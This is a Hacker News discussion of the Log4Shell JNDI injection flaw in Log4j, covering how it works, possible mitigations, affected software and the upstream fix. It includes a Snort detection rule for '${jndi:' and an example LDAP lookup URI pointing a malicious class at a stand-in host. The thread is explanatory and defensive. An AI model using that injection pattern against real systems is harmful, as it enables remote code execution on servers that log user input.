You would call out to JNDI in a logging statement. That would cause the remote class to be loaded and executed during the log statement evaluation.

A nefarious attacker could inject such a JNDI reference in a field (like username or whatever) and if you wrote your log statements in a manner that didn't expect such injection to happen, it could become part of the log format instead of a log field value, and this would be executed.

Think of it like SQL injection but with log statements and way worse because it calls a class that can be hosted on a server of choice. And the code that can execute is arbitrary and not limited to the database.

▲ etewiah on Dec 11, 2021 | prev | next [–]

See related:

https://news.ycombinator.com/item?id=29509132

▲ mosajjal on Dec 10, 2021 | prev | next [–]

this Snort signature should detect it fairly reliably:

alert tcp -> (msg:"log4j rce detection"; content:"|24 7b|jndi|3a|"; nocase;)

▲ janstice on Dec 10, 2021 | prev | next [–]

From a quick look at the lunasec page, it looks we can mitigate by blocking outbound LDAP traffic to unknown destinations?

▲ antocv on Dec 10, 2021 | parent | next [–]

Not by blocking outbound ldap by port, because ldap://hurrdurr:443/Evil.class

▲ IiydAbITMvJkqKf on Dec 10, 2021 | parent | prev | next [–]

If you want to go down the route, you should check if log4j allows a port to be specified in the LDAP URI. If it does, firewalling one port won't do anything.

▲ znep on Dec 10, 2021 | root | parent | next [–]

Yes, you can specify a port.

▲ jsavin on Dec 10, 2021 | parent | prev | next [–]

The vulnerability affects any process with network-facing endpoints that log user-input data. It's not LDAP-specific.

▲ plasma on Dec 10, 2021 | prev | next [–]

Does this affect Android in some way too?

▲ etewiah on Dec 11, 2021 | prev | next [–]

Just adding the word log4shell so people searching for that keyword find this more easily.

▲ jimbob45 on Dec 10, 2021 | prev | next [–]

Is there any reason to believe this wouldn't affect log4net in the same way?

▲ Merad on Dec 10, 2021 | parent | next [–]

12 years of experience with .Net here - it's been a long time since I used log4net and I was never intimately familiar with it, but I'm not aware of any built-in or common .Net functionality that will make a web request and remotely load code just by parsing a string. So unless the log4net library totally implemented that feature from scratch, it should be safe.

▲ smarx007 on Dec 10, 2021 | root | parent | next [–]

What about 'Assembly.Load(bytes)' or 'Assembly.LoadFrom'?

▲ dbt00 on Dec 10, 2021 | parent | prev | next [–]

No reason to think that it is -- it's related to a specific implementation of a java technology, it would require completely a completely hypothetical parallel track.

▲ strangattractor on Dec 10, 2021 | prev | next [–]

Can't to see how much Equifax data gets leaked:)

▲ grrrrrrreat on Dec 10, 2021 | prev | next [–]

Does this affect SL4J library as well ?

▲ maruhoi on Dec 10, 2021 | prev | next [–]

How might this affect me on Steam?

▲ smolder on Dec 10, 2021 | parent | next [–]

This is an odd question, but if you're saying you downloaded a java based game that suffers this RCE, I don't think Steam does a single thing to protect you.

▲ creatonez on Dec 10, 2021 | root | parent | next [–]

According to the article, Steam was directly affected by this vulnerability. But I'd guess that's a problem on their backend and not on the Steam client.

▲ stefan_ on Dec 10, 2021 | prev | next [–]

The best part is surely the diffstat of the "fix": +465 −9

This is insanity.

▲ Quiark on Dec 10, 2021 | parent | next [–]

Did you look at it? Half of it is test and license headers plus the fix involves adding a whitelisting and filtering code.

▲ stefan_ on Dec 10, 2021 | root | parent | next [–]

Yes, that is exactly the part that concerns me. This doesn't need more code, it needs desperately less.

▲ yashap on Dec 10, 2021 | root | parent | next [–]

I'm with you, but if you're maintaining a massively popular open source library, where backwards compatibility is expected, you're not going to remove features without careful consideration. For an important bug fix, it probably does make more sense to just fix it without breaking anything first, then talk about a more careful deprecation/removal plan.

▲ yc12340 on Dec 10, 2021 | root | parent | prev | next [–]

"Filtering code"? This sounds like trying to plug hole in dam with one's finger. And the the hole is several meters wide.

▲ userbinator on Dec 10, 2021 | parent | prev | next [–]

This is Java.

(I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)

▲ jpgvm on Dec 10, 2021 | root | parent | next [–]

It's not. Backwards compatibility however is which is why the fix maintains the functionality but makes it as safe as possible rather than ripping it out.

▲ Thorrez on Dec 10, 2021 | prev | next [–]

Hmm, that example code also forgets to HTML escape the user agent before putting it in the webpage.

▲ nyxmare on Dec 10, 2021 | prev | next [–]

is it still possible to get RCE even without trustURLCodebase=true ?

▲ posharma on Dec 10, 2021 | prev | next [–]

How do you merge a PR when someone has requested changes on it?

▲ deathanatos on Dec 10, 2021 | parent | next [–]

It depends on the repository settings. If you have write access (and note the person who opens the PR appears to be a member of Apache, so I'm assuming they have write access), the default settings in Github allow merging even without approval, or with requested changes. (I.e., the defaults are pretty lax; you have to enable the "requires approval to merge" stuff.)

Even if approval is required, anyone with admin access can override the lack of approval. (For that user, the merge button is a different color/state: it very clearly warns you when you exercise that right.) I don't think it's clear which is the case here.

(But also note that there is an approval, in addition to the "changes requested". So, even in the scenario that approval is required, the PR could be merged, technically, but it would require dismissing the requested changes in that case, which was not done here.)

▲ jcims on Dec 10, 2021 | prev [–]

Technically it's a format string vulnerability that causes a server-side request forgery that can be abused to execute code on the remote system.

I wonder of any bug bounties would give you a chain bonus for this one lol

▲ JanecekPetr on Dec 10, 2021 | parent [–]

Interestingly, no, the tag doesn't have to be in the formatting string. See https://news.ycombinator.com/item?id=29507511.

▲ jcims on Dec 10, 2021 | root | parent [–]

That example is good to clarify but really all it does is show that the vulnerability is indeed in the library, not user error on the part of the application developer. At the end of the day, format-string bugs are essentially unexpected interpolation of user-supplied input, which is what we have here.

The fact that the specific interpolation causes a server-side request is what makes it a server-side request forgery. This isn’ta url input that’s getting an unexpected scheme, the interpolation is required.

Lastly the fact that the server-side request forgery causes unexpected code to be downloaded and executed creates the RCE.

This may seem like needless pedantry, but the reason it’s important is that there are likely other bugs hidden in here, and the RCE is just getting all the attention. For example, our network diallows egress except through a proxy. The initial JNDI request over LDAP isn’t getting anywhere. So we aren’t exposed per the POCs I’ve seen. BUT if JNDI supported HTTPS or data url schemes we would. Also if the interpolation allows any other deserialization attacks through inline payloads we would.